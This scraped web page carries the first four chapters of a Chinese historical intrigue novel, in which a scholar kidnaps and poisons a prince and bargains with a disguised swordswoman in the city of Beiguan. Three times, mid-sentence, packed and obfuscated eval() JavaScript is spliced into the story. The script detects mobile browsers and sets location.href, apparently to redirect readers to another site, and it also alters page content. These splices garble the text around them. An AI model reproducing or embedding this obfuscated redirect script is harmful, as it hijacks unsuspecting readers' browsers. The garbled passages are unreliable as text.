《春山可望》 1. 冬月 冬月十九,距离四皇子失踪已经过去了整整十九日,华京的达官显贵急得如同热锅上的蚂蚁。 十九日前,一桩惊天检举案告到华京,状告者携血书自尽于皇城前,此案查下去却没有丝毫进展。 这桩案子几乎将所有人的目光都引了过去,丞相梅映雪卷入案件,为了自证清白他不得已坦白隐瞒了十一年的秘密。 一时间华京城内流言四起,朝堂上阵脚大乱,绑匪便趁机劫走了四皇子。 要说这绑匪的身份也着实令人瞠目结舌,绑走皇子的竟是太傅之子柳祈。 可这人是一个实打实的书生,平日里鲜少出门,已及弱冠却无心仕途,终日好棋。 这样一个微不足道的人为何会劫走皇子? 朝廷派出的追兵有去无回,柳家一夜之间消失得无影无踪,没人知道柳祈想要做什么。 北关城郊,一辆青帐马车停在一座破庙前,昨夜下了雪,他们连夜赶路,行至北关城外八里地大雪就盖住了路,于是他们只得找个地方取暖。 雪夜,破庙,残火,三个亡命之徒和一个人质同饮一壶酒。 “快到北关了,柳公子打算做什么?” 开口的人脸庞尚有稚气,即使坐在草堆上也依旧挺直了腰板。 他看向的那个人气质温润,却总让人觉得他满腹阴谋。 “殿下是想问我为何绑你?” “我想了一路,柳公子平日不关心朝中之事,绑我一定不是为了权,在华京鲜少有人能成为柳公子的座上宾,绑我也一定不是为了利。如此,我倒是真想不明白,柳公子为何绑我?”柳祈分明含着笑,可目光却冷得如外面的霜雪。 “我绑殿下是为了报私仇。” 仇? 坐在一旁的清秀公子忍不住抬眼看去,这个文弱书生跟四皇子会有何私仇? 一阵冷风灌入,梁昭顿觉寒意,由内而外地像被冻住了似的。 “我与柳公子只见过几面,不知是有何仇?” “不是与你。”柳祈顿了顿,许是周围人的表情太过好笑,这一次他整个脸上都挂满了笑意。 “到时候殿下就知道了。趁酒还热,殿下喝了暖暖身子。” 梁昭接过酒一饮而尽,柳祈的目光便又落到了另一边。 车夫正拨弄着火柴,他的身旁坐着一位绿衣束发的少年,身形清瘦,腰间别着一把短剑。 她叫沈韫,和柳祈师出同门,都曾是江迫的学生。她的任务之一是在复州城外接上柳祈,带着他和四皇子一同安全地抵达瓜州。 可马车还未抵达复州便遭遇了截杀,这场截杀打乱了他们的计划,柳祈当即决定调转方向提前入北关。 眼下便真是要入城了,入了城她便真成了共犯,今夜是她最后的脱身机会。 沈韫心下盘算着如何丢下他们,车夫和柳祈都不会功夫,她若要带走梁昭简直易如反掌。此地离建京不算远,明日午时她便能赶到城门前完成她与那人的交易。 橙红的火苗在她眼底闪烁,将她的欲望勾勒得一清二楚。 此刻一只敏锐的豺狼正兴致盎然地盯着她。 “师兄在想什么?” “在想复州城外截杀我们的到底是什么人。” 不愧是师出同门,撒起谎来也是轻车熟路。 “哦?”柳祈的目光比火堆还烈,仿佛要将她那层虚伪的皮烧化似的。 “我要怎么称呼师兄?” 这话锋转得有些奇怪。 “沈怀珠。” “怀珠韫玉,这字取得真好。” 沈韫隔着窜动的火苗看向他,无论怎么看都觉得这个柔弱公子不简单,能只身绑架皇子离京,是个不容小觑的人。 “我听说柳公子学识过人,如今看来谋略胆识也非常人可比。” 火光跃动,两人隔着火堆对望。 这个自称是江迫学生的沈韫无论是身形还是面容都比寻常男子秀气,唯独眼睛凉薄如雪,叫人看不出一丝感情。 柳祈确定,他见过这双眼睛。幼时于江迫家中,他曾遇到一位比他年岁稍长的少女,是江迫于南迁途中捡到的学生,那少女面庞清秀,双目如杏,看人却总似裹挟着几分寒冰。柳祈记得她总是被罚跪书房,也总是不愿意低头认错。 不过,他记忆里的那个人是个女人,而眼前这个人分明是一位年轻公子。 “师兄与我可曾见过?我看师兄像极了一位故人。” 他的目光似在审问,沈韫知晓论计谋她远不及柳祈,此刻她形势被动,必要时她不得不杀了此人灭口。 “我未曾离开过瓜州,亦与公子不曾见过。” “可师兄长得真的很像我的一位故人,很像……一个女人。” 四个字缓缓地从柳祈嘴中吐出,他盯着沈韫,一副胜券在握的模样。晃动的火光映照在他面庞,柔和的笑脸下分明藏着一张阴鸷的真面。 他早就知道了她不是江迫派来的人。 既然如此,那便留不得他了。 沈韫猛然拔出腰间的短剑,火舌迅速伸向另一边,梁昭顿时觉得面庞滚烫,那猩红的火苗竟离他不到一寸。 火焰退去,他看清了刚才那阵剑风指向何人。 银白的剑刃正如毒蛇一般缠上柳祈的脖颈,沈韫居高临下地看着他。 “公子想见故人,我便帮公子一把。” 沈韫手上稍稍用力,洁白的脖子上立马留下一道血痕,腥红的血珠下淌,如雪地中绽放的红梅。 残风,败雪,心狠手辣的匪徒和手无寸铁的贵公子。 如此场面,真是应景。 可偏偏剑下之人面不改色,丝毫没有将死之人该有的畏惧。 “你为何不怕?” 一个文弱书生,见到刀剑应该漏怯才对,柳祈却似稳操胜券一般。 难道他还有别的算计? “沈姑娘应该猜到了,我既然能安然无恙地带着皇子离京便是做好了十足的打算。沈姑娘无非是想从我手中劫走皇子,若姑娘愿意与我谈笔生意那我便将皇子拱手相让,可若姑娘执意刀剑相向,十步之内,我保姑娘必死无疑。” 真是笑话。 沈韫亦道“柳公子既然这么会布局,那便更应该看清楚现在的局势。如今你的命尚还悬在我的剑下,不出一步,我也能保柳公子必死无疑。” 窗外的风刮得更紧了,屋顶上的落雪声突然乱了序,混进来了一些极轻的窸窣声。这样的声音从屋顶、四周围了过来,沈韫听出来了这是踩在雪地上的脚步声,这些人十分小心,脚步很稳,像习武之人。 看柳祈淡定自若的样子窗外的人必定不是复州城外截杀他们的人,难怪即使知晓了她的身份柳祈依旧将她留在身边,难怪他能单凭一辆马车就从华京跑到复州。 “柳公子与人谈生意便是这样谈的?” “没错。谈,或不谈,沈姑娘选一个吧?” 她若说了不,那屋外围的十几个人不得立刻将她碎尸万段? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419220|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她根本没得选。 沈韫将剑收入鞘中,坐回了原处。 “你想做什么?” “我要你一路护送我去瓜州,待我与老师见面我便将皇子交给你。” “你有那么多暗卫,还需要我护送你?” “这些暗卫不能出现,若朝廷知晓了他们的存在便是断了我的后路。” “所以?柳公子不如说得更直白些。你需要护卫,可你的人又不能轻易暴露,于是你便想将我推到明面上,给你和你的那些暗卫当替死鬼?” “沈姑娘言重了,不如说我们是盟友,我替你将四皇子劫出来,你护送我到瓜州,多好的一笔买卖。” “柳公子真是好算计,朝廷的追兵来了我得替你挡,绑架皇子的罪名我得担一半,我还要等你安全到了瓜州才能拿到我的酬金,怎么算都是我替你去送死,不如我现在便杀了你,我们黄泉路上好歹有个伴。” 沈韫气极了,可柳祈竟还笑得出来。 “再等等吧,我还有另一个筹码。” 他这句话有些让人摸不着头脑,沈韫懒得再费口舌,心里盘算着如何才能带着梁昭闯出去。 她的功夫不算高深,屋外的暗卫想必不是好对付的,梁昭也未必会顺从地跟着她走。 这么算来,她的胜算不大。 门外的风雪愈发重,面前的柴火烧得嗞嗞作响,一声清脆的破裂声搅乱了局面。 酒壶摔在地上,梁昭惊慌失措地站起身来捂住自己的脖颈。 他的表情十分痛苦、惊恐,以至于沈韫也跟着站了起来。 “你怎么了?” 梁昭张大了嘴却发不出一点声音,这样子难道是中毒了? 沈韫看向依旧端坐着的柳祈,他坦然道“我在他的酒中下了毒。” “柳望月!” 柳祈起身逼近,道“这桩生意沈姑娘还做吗?” “我有的选吗?你早就想好了要将我算计进来对吗?” “没错,不过现在才知道也太晚了,这一局是我赢了。” 梁昭不可置信地看着柳祈,他所知道的那个柳公子温文尔雅,断不会像现在这样心狠手毒,没想到他竟藏得这么深。 “解药呢?”沈韫追问。 “自然在我这儿。不过这毒难解,要每日亥时吃一颗解药,不间断地吃满半个月。” “每日都得吃?” “晚了一个时辰都会立即暴毙而亡。” 柳祈接着说“起初这毒发只是不能说话,越到后期会逐渐丧失五感。要是按时服药则只会控制在不能说话的阶段,直到十五日后彻底痊愈。十五日,足够我们抵达瓜州。” 看来他早就谋划好了。 沈韫眼底的杀意更加浓郁,她恨不得立刻将他开膛破肚。 可建京那位贵人问她要的是活人,就算今夜她将梁昭带走了,等赶到建京时梁昭已经是一个将死之人了,到时候她非但完不成任务还会将自己置入险境。 她不能赌,可她也不能遂了柳祈的愿。 “我可以护送你去瓜州,可你也得答应我一件事。” “说来听听。” “去瓜州的路怎么走由我说了算。” “当然可以,在下的命可就托付给沈姑娘了。” 柳祈弯着一双笑眼,像极了一只玉面狐狸。 而沈韫就如那不解风情的石头一般丝毫不受蛊惑。 “柳公子放心,若有人要杀你我定会替你留个全尸。” 2. 腊雪 风雪终于停了。 昨夜天寒地冻的,庙里虽然点了火却依旧寒风习习难以入眠,此刻他们急需找一处暖和的地方休整一下。 天将欲晓,三人便上了马车,柳祈说梁昭的解药需要一味药引,药引难寻,得在亥时前拿到方可入药。 车夫将马车停在了城门外,柳祈给了他一袋沉甸甸的银子。 “北关往东有一个渡口,你把马车驾到渡口去,乘船走,这些银子够你一路回乡。回去后便忘了这两天的事,找个地方躲一阵子,他日我会再让人送银子来,这两日劳烦了。” 车夫接过钱袋道“多谢公子。” “那些人要是追过来了恐怕会顺着渡口往下查,你自己小心,到合适的地方就换条路走。”“是,公子也多加小心。” 马车驾走,留下三人站在原地。 清晨的风未减几分,下了马车那些风就尽往衣服里钻。 柳祈回过头,看了眼站在身后的两人,一个双手抱臂不情不愿地站在左边,一个满脸警惕同样心不甘情不愿地站在右边。 这般场景着实有趣。 柳祈对着左边那位苦大仇深的“公子”道“等入了城你便叫我名字,我们兄弟三人入北关寻亲,这位是小弟阿昭。” 沈韫表面应下,心中却在想等入了北关他的那些暗卫便不可能时刻待命,到时候她若想要杀柳祈劫皇子那不是轻而易举。 很快他们就不再是同路人,她要带着梁昭去换她的青云路,而柳祈则是替她堵住追兵的最好人选。 一个胆大包天的绑匪,本就只有死路一条,不如用他的死来换自己的生路。 另一边的梁昭也没打算让柳祈得逞,等入了城他便找机会去报官,届时朝廷的消息应该也快马加鞭传到了此地,官府的人定不会让柳祈活着走出北关,如今随他进城倒算是给自己寻了一个机会。 三人慢吞吞地进了北关城内,第一件事就是赶紧去添置几件衣物取暖。 北关的服饰色彩鲜艳,多为束身,花纹样式要比华京的衣服复杂,由于这里冬季风烈所以无论男女几乎都有一块头巾包着头,这点倒是方便他们躲避搜捕。 换好衣服后柳祈径直走向一家糕点铺,这糕点铺没什么特别之处,连客人也没几个,倒是有一块醒目的牌匾,上面写着:盈果桂花铺。 “你来这儿干什么?”沈韫拉住他。 “昨夜又饿又冷,这衣服已经买了也该买点吃食。” 这人难道不清楚他们现在的身份和处境吗? 沈韫提醒他“我们没有时间闲逛。” “我自然知道,我们要找药引,可这药引并非寻常,得找人问问。” 来糕点铺问? 沈韫蹙眉“你该不会在骗我吧?” “我为何要骗你?师兄,我们现在难道不是一条船上的人吗?” 沈韫有些恼火地松开手,她向来不喜欢这些话语间的弯弯绕绕,她也不知道柳祈和江迫究竟在下一盘什么棋。 如果在复州城外的截杀没有失败,那她将会完美地脱身,带走梁昭完成她真正的任务。 可偏偏出现了另一伙人,也奔着柳祈的马车而来,鹬蚌相争,倒让柳祈坐收渔翁之利了。 “掌柜,我要一份桂花糕。”柳祈的声音从铺子里传来“要嘉庆子味的桂花糕。” 还有这种味道的桂花糕? 沈韫有些疑惑地往里看了一眼,只见掌柜脸上没有半分惊讶之色,反而十分热情地道“好嘞公子,这边请。小店刚从华京运来了一批上好的嘉庆子,保证味道极佳。” 从华京运来的?看来那人已经到了华京。 柳祈跟着掌柜走到了最里面的那排货柜旁,天光透过窗花照在他们身上,恰好半明半暗,柳祈在明处,掌柜在暗处。 这间糕点铺名叫盈果桂花铺,是梧州一位楚姓富商的私产之一,这处产业遍及各地,作为交换消息的驿站,也是柳祈与梧州来往的唯一途径。 沈韫收回目光,瞥见站在一旁的梁昭一直盯着她。 他虽还未及弱冠,可身长已经超过沈韫许多,他那张稚气未脱的脸上情绪复杂,望着沈韫的那双眼睛毫不掩饰地流露出他想要逃跑的心思。 沈韫扣住他的手腕,压低声音警告道“你想死的话现在就可以走。” 梁昭没有反抗,只是将目光收回。 他昨夜亲眼见到这个人将剑架在柳祈的脖子上,论武力他在她面前犹如蝼蚁,当下之计唯有静待时机。 没过一会儿柳祈终于从店铺里出来了,手里提着一包桂花糕。 “问到了吗?”沈韫问。 “没那么好找,得去酒楼茶坊问问。” 到底是什么药引需要在酒楼茶坊去找? 沈韫一把抓住正欲离开的柳祈,腰间的短剑呼之欲出。 “柳望月,你脖子上的伤还没好呢,别想着给我耍花招。” 她的目光下移,定在了那抹血红的伤痕上,脆弱的脖颈裸露在外,她盯着那道伤口犹如猛兽见了荤腥。 “师兄不信我?”柳祈抬起眼皮,故作可怜地看着沈韫“我要怎么做师兄才能信我是真的想与师兄合作?” “解药给我。” “那可不行,解药若是交出来了那我的命也就保不住了。” 沈韫就知道他会这么说。 “那药引到底是什么?” 柳祈轻笑“原来师兄是想知道这个。如果我告诉师兄了,师兄就可以相信我了吗?” “信任不是一次就能建立起来的,况且我怎么知道你会不会骗我。” 事实上,沈韫一点也不相信他,看看他这副扮猪吃虎的模样,那鱼钩都巴不得送到沈韫的嘴里去,她可不会蠢笨到如此地步。 柳祈开口“是腊雪。腊雪寒凉,可以解毒,非寻常雪水可比,阿昭的解药必须要用腊雪煎服。” “可此时才入冬月,去哪里寻腊雪。” “一些茶坊酒楼会存着腊雪,大不了挨个去问。” 北关城内茶坊酒楼有那么多家,他们三人挨个上门寻腊雪,如此怪异的行径一定会引起注意,何况街上行人众多,若梁昭闹出动静来他们谁也跑不掉。 于是沈韫提议“我带着阿昭找一个安全的地方等你,你去寻腊雪。” “我一人去?” “找瓶雪水而已,又不是闯刀山下火海,柳公子还怕一个人?” “可我有些累了,北关城这么大,我走不动。” “那你的意思是?” “我和阿昭留下,你去找。” “支开我?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419221|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “师兄总是不愿意相信我。” “你想让我信你那总得拿出点诚意。在亥时前将药引寻来,我保证一定相信你。” “好。”柳祈竟干脆地应下“挽风楼内多是权豪势要,若搜捕起来不会太严,师兄和阿昭便去挽风楼等我,亥时前我一定拿着药引回来。”他突然答应地如此爽快,沈韫不由得怀疑他是否有别的打算。 可他一介书生,顶多会卖弄口舌骗骗人,他的暗卫此时正在城外替他引开朝廷的人,他断然是没有通天的本领能从她手中带着梁昭走出北关城的。 所以,无论如何,柳祈都翻不出她的手掌心。 沈韫带着梁昭往挽风楼的方向走,这座酒楼是北关城内最高的建筑,在酒楼上可以俯瞰整个城池,正因如此这酒楼极负盛名。 这样的酒楼华京也有一家,建在整个华京最繁华的地段上,城内文人雅客大小官员都爱在那楼里小聚。 挽风楼建在湖中央,门口的拱桥上来往的食客络绎不绝。 一位绿罗裙的少女拦住了沈韫的路“两位公子吃些什么?酒楼今日有新炙的鹿肉脯,都是我们掌柜刚猎的鹿。” 沈韫驻足,挡在梁昭面前,道“酒楼有什么好酒好菜都给我们上一份,我们想在顶层用膳。”少女将两人仔仔细细地打量了一番,这二人说话不是北关的口音,身上置办的行头却是崭新的北关服饰,看料子应该是羽裳坊的,那地方可不便宜。 “二位公子请随我来。”少女一边领他们入内一边说道“顶层只有一张桌子,实在是不巧已经有人定了,二位公子去三楼可好?” 三楼的视野也不算差,沈韫应下“行,我们喜欢安静不想被人打扰,麻烦姑娘给我们安排一个清净的房间。” “没问题,那请公子随我上楼。” 少女提着裙摆领着二人往楼上走,楼梯上尽是上上下下的客人,梁昭以为这便是绝佳的时机。 这么多人沈韫必定不敢暴露身份,此时他若引起一些动静,那这些看客一定会将这里围得水泄不通,到时候自会有人报官。 至于他的毒,只要那个柳祈还在北关城内,城门一关,抓他便如捉瓮中之鳖。 梁昭抬眼观察四周,从楼上下来了一位吃醉了酒的男子,他脚步不稳,扶着栏杆摇摇晃晃地往下。 少女忍不住提醒那人“王公子慢一些,楼梯陡,别摔着了。” 那人十分自信地摆了摆手,笑哈哈地回道“这楼梯我还能不熟?我就算闭着眼也能走出酒楼。” 看他衣着华贵,又像是挽风楼的常客,想必一定非富即贵。 梁昭在宫中有所耳闻,挽风楼中有一个规矩,楼层越往上说明身份越尊贵,能上四楼和五楼的也就只有那些达官显贵。 若今日惹恼了他,定然能掀起不小的动静。 趁着擦肩而过的间隙,梁昭伸出手想要抓住他的肩往楼梯上推,可偏偏沈韫察觉到了,从这位王公子下楼开始沈韫就十分警觉,她知道梁昭一定不会坐以待毙。 一只冰凉的手扣在梁昭手腕上,犹如戴上了一副镣铐。 身后之人低声道“你找死吗?” 这句话已经不再是简单的威胁了,梁昭不敢再轻举妄动,毕竟是一个穷凶极恶的匪徒,若是惹恼了她,指不定他就尸横郊野了。 3. 追兵 和他们分开以后柳祈便独身去了桂花铺掌柜说的那处私宅,那掌柜早已等在院内。 “公子。”掌柜朝柳祈作揖。 “华京有什么消息?” “您出城后大约四个时辰梅映雪便入了宫,待他回到梅府时已近黄昏。哦对了,他回府时还捧着一把御赐的宝剑。当天夜里便从梅府出去了一匹快马,骑马之人正是梅府二公子裴决,他的身上带着御剑,出城以后他便一路南下去往复州方向。” 裴决是梅映雪的养子,当年梅映雪称这个孩子是遗孤,来历不明,是他回城途中救下的。 这养子从小便锦衣玉食,府中上下都尊称他为二公子,连主母也对他视若己出,整个朝堂都知晓梅丞相颇有一副好心肠。 可如今,他竟让裴决接下了朝廷这桩送命的买卖。 真是好一副菩萨心肠。 “单枪匹马便是朝廷派来的追兵?” “朝廷一定不会如此坐以待毙,小人拙见,这其中怕是有诈。” 柳祈用手指慢捻着手中的茶杯,银汤在杯中翻覆,却始终翻不出杯口。 “他们想用此人做饵,诱我走出下一步棋,待我落子,他们探得虚实,朝廷真正的追兵便会如罗天巨网一般将我困住。裴决只是其中一枚子,既然都在棋盘上,为何不将白子吞为黑子。” “公子想策反裴决?” “他的来历不明,是张绝佳的白纸。话本上不是也有这样的故事吗,恩人变仇敌,托举之人变杀父仇人。” 掌柜点头“公子要万分小心,今日在您身后的人是个习武之人,她的心思不纯,小人怕她坏了公子的大事。” “放心,我有应对之策。”柳祈放下茶杯,问“我那弟弟如今怎样?” “华京的消息是小公子入了城内便被带去了梅府,梅丞相入宫后不久宫中便来了人将小公子接进去,之后便再也没有小公子的消息了。公子您看,需不需要派人去查查?” “不用。”柳祈笑道“我那弟弟生来就有一副好皮囊,再加上他那张惯会哄骗人的嘴,没人会觉得他是个威胁。” 楚南煜自小便长在梧州,娇生惯养,如今也已到了弱冠之年,却从未出过梧州。 柳祈与他并无什么亲缘,只是幼时楚南煜曾养在柳祈生母的膝下,膳同进枕同裘,直到九岁那年出了件大事,楚南煜被送到梧州成了富商之子,而他被养在柳家成了柳公子。 兄弟二人一个从未离开过梧州,一个从未离开过华京,已是十一年未见面了,唯一的联系便是透过糕点铺传递的消息。 时辰差不多了,柳祈起身,将一瓢清水装入壶内,道“你给瓜州传个消息,就说我们途中遇袭,如今已在北关,让老师和父亲安心等我的消息。” “是。” 此时已过晌午,北关的日头比华京烈,柳祈眯起眼看向依旧人来人往的城门。 城内的百姓怎么也想不到几个时辰后城门会紧闭,因为这里溜进来了一个惊天叛贼。 官府的人更不会料到远在华京的四皇子会突然出现在北关,而他们哪怕将这里翻了个遍也不会找到这么一个活人。 柳祈心情颇好,慢悠悠地走上湖心桥,一位曼妙的少女迎了上来“公子想吃些什么?” “酒楼今日有什么新鲜物?” “掌柜新猎的鹿,辅以槐蜜烘制而成,色味极佳,冬日食之大补。” 柳祈一边迈上楼梯一边道“听起来不错,给我上一份。我记得酒楼有时令酒,如今是什么酒?” “冬日便是梅花酒了,还有一些重菊酒。” “梅花酒宜赏雪的时候喝,如今风雪已住,再存存吧。给我来一壶重菊酒,再上几道挽风楼的招牌菜。” “好嘞公子,您一位吗?” “不,还有两位。” 柳祈方踏上最后一阶楼梯,便看见了等在前面的沈韫。 他回头对身后的少女道“方才我点的那些请姑娘给我送到前面那间房内。” “好的,公子稍等,我这就去让厨房上菜。” 少女脚步轻快地下楼,柳祈慢悠悠地踏入房内。 “腊雪呢?”沈韫伸手问。 “在师兄眼中我竟还比不过一瓶腊雪重要。” 沈韫不作声,柳祈便接着说“师兄放心,只要是师兄开口的事我都能办到。” “你找到腊雪了?” “当然。我可是废了好大功夫,几乎将城中商铺问了个遍。” 说完,他便从身上拿出一只精巧的壶,将壶中的雪水倒入釜中,可这雪水看着与寻常水无异。 “这便是腊雪?”沈韫颇有疑心。 柳祈肯定道“这是腊雪无疑,不会有假。” 可沈韫的表情明显不信。 柳祈直勾勾地盯着她的眼睛,问“我的诚意带到了,师兄说的话可还算数?” “如今这釜中装的到底是不是腊雪还未可知,现在谈别的太早了吧。” 笑意似湖面的薄冰凝结在柳祈眼底,他仿佛早就猜到了她会这么说。 “沈姑娘真是好难劝的一个人。你想让我如何?” “亥时,若亥时一过阿昭没事那我便信你。” “你的信任于我而言有何用呢?”柳祈冷眼看去,慢悠悠地开口“先前我是真心想与姑娘交好,可姑娘视我如仇敌。有一件事沈姑娘别忘了,阿昭是死是活全凭我的意思,他的生死对我不重要,是你们想要他活着。” “你什么意思?” “朝廷的追兵就快进城了,沈姑娘以为此刻还能安全地离开吗?” “为何不能?追兵尚未进城,现在就走不正合适?” “可朝廷的追兵只有一人。” “那不是更好。”话音刚落,沈韫便察觉端倪。 失踪的人是四皇子,天皇贵胄,可朝廷派来的追兵竟只有一人?就算这个人是天下第一的高手也说不过去,毕竟一人难敌众拳,朝廷怎会知道柳祈有多少帮手? 房间内三人神情各异。 沈韫道“是陷阱,此刻出城便如引蛇出洞。” 柳祈不语,轻轻喝了一口茶。 沈韫又道“你有打算了对吗?” “师兄不愿信我,又何必问我。” 这人真是记仇。 沈韫咬咬牙,冷声道“梁昭不能死,只要你答应我这个,你让我做什么我都会配合你。” 敲门声打断了两人的对峙,少女的声音从门口传来“几位公子,菜好了。” “拿进来吧。”柳祈道。 少女推开门,她身后跟着一个年轻伙计,伙计将菜一一摆在桌上,少女便挨着报上菜名。 “五味焅鸡,五味杏酪羊,鹿肉脯,栗糕,重菊酒。公子,您的菜已经全部上齐,您慢用。” 柳祈弯着笑眼,温声细语道“劳烦姑娘将碳火生上,我们想用这釜煨酒。” 如此温和,丝毫没有方才的剑拔弩张,仿佛变了一个人似的。 少女退去,房门再次关上,柳祈尝了一口杯中的热茶,道“今日之内北关城定会封锁,届时排查便会一轮比一轮紧,我们没有多少地方可以躲。但,若是风向扭转,朝廷的饵成了我们的饵,那即便是掘地三尺也不可能将我们找出来。” “你想策反朝廷的人?” 沈韫觉得他简直是在痴人说梦。 “为何不能?” “朝廷的人岂是你动动嘴皮就能撬动的?” “当然不止动动嘴了。朝廷派来的人是一位姓裴的大人,这个人也是个会耍刀弄枪的,我需要你帮我制住他,到时候我们和他好好谈谈条件。” “你为何会知道朝廷的追兵是谁?” “我的消息自有来处,沈姑娘不用疑心,只管照做。” 几个时辰后,一匹快马入城,直奔官府。 一刻钟后,城门禁闭,官府的人迅速展开搜捕,大街小巷贴满了告示。 挽风楼内除了柳祈三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419222|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧盯窗外,还有一位俏娘子也密切关注着那些官兵的一举一动。 “掌柜,那三人还在楼上。” “你说你方才听到他们提到了朝廷的追兵?” “是,我适才走近,听见其中有人说到朝廷的追兵,可我没听清楚说了什么,后来离开时我留心听了一句,里间的人说要策反朝廷的人。” “策反朝廷的人?”晚娘轻笑“看来我这酒楼里总会来一些奇人。” 绿衣丫头突然想到“他们还有人提到了一个人,说什么梁昭不能死。” “你刚才去外面可看到了官府张贴的是什么告示?” “看到了,追捕犯人柳祈,还有他的画像。” “因何原因追捕他?” “因为他挟持皇子。” 当今天下是梁家的天下,柳祈挟持的是梁家的皇子,而楼上的客人提到的人姓梁,看来这一次她这酒楼要成为天家的座上宾了。 晚娘心情大好,道“你给楼上重新温一壶重菊酒送去,把人看好了,等着官府带着赏金来领人。” “是。” 天色已晚,梁昭已服下第一剂解药。出于好奇,晚娘亲自上楼将酒送到柳祈房间。 房内只有两人,一位温润公子,一位漂亮武生。 “重菊酒来了,客官慢用。” 温润公子轻轻颔首,笑道“多谢掌柜。” “公子好眼力,怎会知道我是掌柜?” “掌柜气质与别人不同,我一猜便猜中了。” “那公子还猜出来了别的什么吗?” “我猜掌柜亲自上来定是另有原因。” “公子真是聪明。我上来确实有原因,我心爱的狸奴跑上楼了,我便上来寻寻。” “掌柜的狸奴长什么样子?” “白若冬雪,眸如碧玉,是家夫重金为奴家寻到的,奴家视若珍宝,断不可离开片刻。” “看来这只猫对掌柜意义深重,不过这里没有听到过猫叫声,掌柜仔细找找别处罢。” “多谢公子留意,今夜挽风楼有花船奏乐,二位公子可上船听曲。” 房门关上的刹那晚娘立马收住了脸上的笑意,刚才那位绿衣少女站在远处朝她招手,神情焦急。 晚娘走过去,她便急忙小声在她耳边说道“官府的人来了,就在门口,说要进来搜查。” 这可不行,这里面的人是她的筹码,她得留着和官府谈一笔生意。 “跟我出去,别露出破绽。” 晚娘不急不忙地走出去,笑着问“几位爷这么早就来光顾我的生意了?” 为首的那个人也笑着答“实在对不住,这次啊是来例行搜查。” “搜查?搜什么?”晚娘提高了音量。 “华京传来消息,四皇子被一个姓柳的小贼给绑走了,如今他们入了北关,上头让我们仔细搜呢。” “四皇子?小贼?”晚娘的声音更高了。“官爷,我这地方你们都清楚,不是什么人都敢进来的,如今楼上还坐着贵客,进去搜查怕有些为难。” “娘子,我们也不想做这份两头难的差事,可上头下令,我们也得交差。” 那些人还欲往前,晚娘伸手挡住,笑着说“我自然知道各位官爷也劳累,我也不是阻拦各位入内,只是楼上的贵客真的不是寻常人,惊扰了他我们都不好过。这样吧,各位就在这搜查,我也差人趁着送酒上菜的功夫查查楼内,若有什么发现一定第一时间告诉官爷。” 说着她不着痕迹地取下腕上那只玉镯放进了男人手里。 得了利男人也不好说什么,遣身边的人围着挽风楼的附近找了一圈。 挽风楼四周都是水,建于湖中央,找起人来倒是不费劲。 “想来能来挽风楼的都是些达官显贵,那等小贼自然不敢往此处来。娘子一人经营这酒楼还是小心为上,若是看见可疑之人立即报官。” “是是是,奴家知道了,官爷日后常来酒楼做客。” 4. 棋子 裴决快马加鞭终于在晚上赶到了北关,算算时间,他与柳祈应该只差了十一个时辰。 他拿出皇上的手谕,立刻封锁了北关,命人去关外附近寻找是否有柳祈等人的踪迹。 等他入北关城时刚好亥时,离宵禁还有些时间,街上的商贩依旧很多,他身着一袭红衣,在街上显得十分不同。 “李大人。”裴决抱拳行礼“想必大人已经知晓我的来意,绑架四殿下的贼子昨晚入了北关,我奉陛下之命前来捉拿贼子。” 李令则方才听到城门的士兵来报时也是大惊,立刻命令手下排查,可到现在都还未找到那贼子和四殿下的行踪。 “裴大人不必多礼,本官已经加派人手去清查,只要那贼子还在北关定然逃不掉。” “大人,两位大人!”门口的士兵跑来上报“东边的渡口发现了一辆马车,车内无人。” 裴决问“可是一辆青色帘幔的马车?” “正是,与大人描述的那辆十分吻合。” 马车停在渡口,难道他们会从渡口乘船走? 李令则当即下令“你们调出几个人去渡口问问船家今日是否有人乘船,再派人顺着渡口往下追,给沿河的官府都送个信去。” “是!” 士兵小跑着下去。 李令则回头看向裴决,道“裴大人,说不定这人已经不在这里了。” 最好是不在这里,否则人找不出来他可是要担责的。 他在心里祈求这位拿着圣上手谕的大人能立马折返,将这个烫手的山芋带到别处去。 可裴决却说“不一定,这人狡猾,惯会用这招,指不定他现在还在北关躲着。” 那日华京出去了两辆马车,守卫亲眼看到柳祈坐的那辆马车去了城东,可追上去时马车内空无一人。 “李大人派去的人查到哪里了?” “城内几乎查遍了,连百姓家中都搜过了。” 撒谎。他分明是只查了百姓和普通商贩,那些权贵他是连看也没看。 就比如挽风楼,挽风楼的老板娘每隔一段时间便好酒好菜招待他和那些权贵,还时不时送些稀奇珍宝到府中,这些人李令则自然是不会查。 裴决沿着街道走了一段路,发现这里的人几乎都蒙着面。他虽见过柳祈几面,但若他蒙着面单从身形怕是很难迅速认出来。 